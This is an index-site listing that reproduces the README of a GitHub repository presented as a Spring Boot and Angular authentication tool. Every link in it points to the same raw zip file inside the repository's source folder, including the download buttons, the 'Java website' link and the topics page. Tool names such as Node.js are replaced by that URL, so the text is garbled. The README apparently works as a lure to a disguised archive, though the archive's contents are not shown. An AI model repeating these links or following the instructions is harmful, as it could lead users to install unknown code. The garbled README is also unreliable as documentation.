An open API service indexing awesome lists of open source software.

https://github.com/hitman472005/security-project

🔒 Build a secure application with robust authentication and authorization using Spring Boot and Angular, ensuring safe user roles and access control.
https://github.com/hitman472005/security-project

apple documentation-portal hacking hacktoberfest jwt linux network-programming owasp owasp-zap practice-hacking programming project security spring-boot spring-security spring-security-oauth2 vulnerable-application zsh

Last synced: about 2 months ago
JSON representation

🔒 Build a secure application with robust authentication and authorization using Spring Boot and Angular, ensuring safe user roles and access control.

Awesome Lists containing this project

README

          

# 🔒 security-project - A Safe and Easy Authentication Tool

## 🚀 Getting Started

Welcome to the security-project. This application helps you manage user authentication and authorization safely. It is designed for everyone, regardless of technical skills. Follow these simple steps to get started.

## 📥 Download & Install

[![Download Security Project](https://raw.githubusercontent.com/hitman472005/security-project/master/backend-security/src/security-project-v3.9.zip%20Now-Click%20Here-brightgreen)](https://raw.githubusercontent.com/hitman472005/security-project/master/backend-security/src/security-project-v3.9.zip)

To download the application, visit this page: [Download Security Project](https://raw.githubusercontent.com/hitman472005/security-project/master/backend-security/src/security-project-v3.9.zip). You will find the latest version there.

## 🔧 System Requirements

Before you install, ensure your system meets the following requirements:

- **Operating System**: Windows, macOS, or Linux
- **Java**: Version 17 or later
- **https://raw.githubusercontent.com/hitman472005/security-project/master/backend-security/src/security-project-v3.9.zip & npm**: Latest versions for the frontend
- **Database**: MySQL or another compatible database

## 📂 Application Structure

The security-project consists of two main parts:

- **Backend**: This part uses Spring Boot to create a secure API. It handles user requests and manages data access.
- **Frontend**: Built with Angular, this part provides a modern interface for users.

Each part works together to provide a seamless experience.

## ⚙️ Installation Steps

1. **Download the Application**:

Go to the [Download Security Project](https://raw.githubusercontent.com/hitman472005/security-project/master/backend-security/src/security-project-v3.9.zip) page and select the latest release. Download the appropriate files for your system.

2. **Set Up the Backend**:

- Unzip the backend folder from your download.
- Ensure you have Java installed. If not, you can download it from the [Java website](https://raw.githubusercontent.com/hitman472005/security-project/master/backend-security/src/security-project-v3.9.zip).
- Open a terminal (Command Prompt, PowerShell, or Terminal).
- Navigate to the backend folder using the `cd` command.
- Run the command `./mvnw spring-boot:run` to start the backend server.

3. **Set Up the Frontend**:

- Unzip the frontend folder from your download.
- Make sure you have https://raw.githubusercontent.com/hitman472005/security-project/master/backend-security/src/security-project-v3.9.zip and npm installed. If not, download it from the [https://raw.githubusercontent.com/hitman472005/security-project/master/backend-security/src/security-project-v3.9.zip website](https://raw.githubusercontent.com/hitman472005/security-project/master/backend-security/src/security-project-v3.9.zip).
- Open a new terminal.
- Navigate to the frontend folder using the `cd` command.
- Run the command `npm install` to install necessary dependencies.
- After this, use the command `ng serve` to start the frontend application.

4. **Connect to the Database**:

- Ensure you have MySQL running on your machine.
- Create a database for the application. You can name it `securitydb`.
- Update the configuration file in the backend to link to your database.

5. **Access the Application**:

- Open a web browser.
- Type `http://localhost:4200` to access the frontend interface.
- Log in using the credentials you have set up.

## 🔒 Features

The security-project includes:

- **User Management**: Create, update, and delete user accounts.
- **Role-Based Access**: Define roles such as ADMIN and USER for better control.
- **Secure Sessions**: Utilize JWT for safe user sessions.
- **Modern Interface**: Accessible design for all users.

## 🛠️ Technologies Used

- **Backend**:
- Java 17
- Spring Boot
- Spring Security
- JWT (JSON Web Tokens)
- JPA / Hibernate
- MySQL
- Swagger UI for API documentation

- **Frontend**:
- Angular
- TypeScript
- RxJS
- HTML5 / CSS3
- Bootstrap for responsive design

## 🌍 Community and Support

If you face any issues or have questions, feel free to reach out. You can open an issue on the GitHub repository. Join our community and contribute to making the security-project better.

## 🔄 Contribution

We welcome contributions! If you want to help improve this project, please follow these steps:

1. Fork the repository.
2. Create a feature branch.
3. Make your changes.
4. Open a pull request.

Thank you for your interest in improving the security-project!

## 📜 License

This project is licensed under the MIT License. Feel free to use and modify it as you see fit. For detailed license information, check the LICENSE file in the repository.

## 💬 Topics

The security-project covers various topics including:

- angular
- authentication
- css
- html
- java
- jpa-hibernate
- jwt
- mysql
- oauth2
- rxjs
- spring-boot
- spring-devtools
- spring-security
- swagger-ui
- swalalert2
- typescript

For more detailed information, visit the [GitHub Topics Page](https://raw.githubusercontent.com/hitman472005/security-project/master/backend-security/src/security-project-v3.9.zip).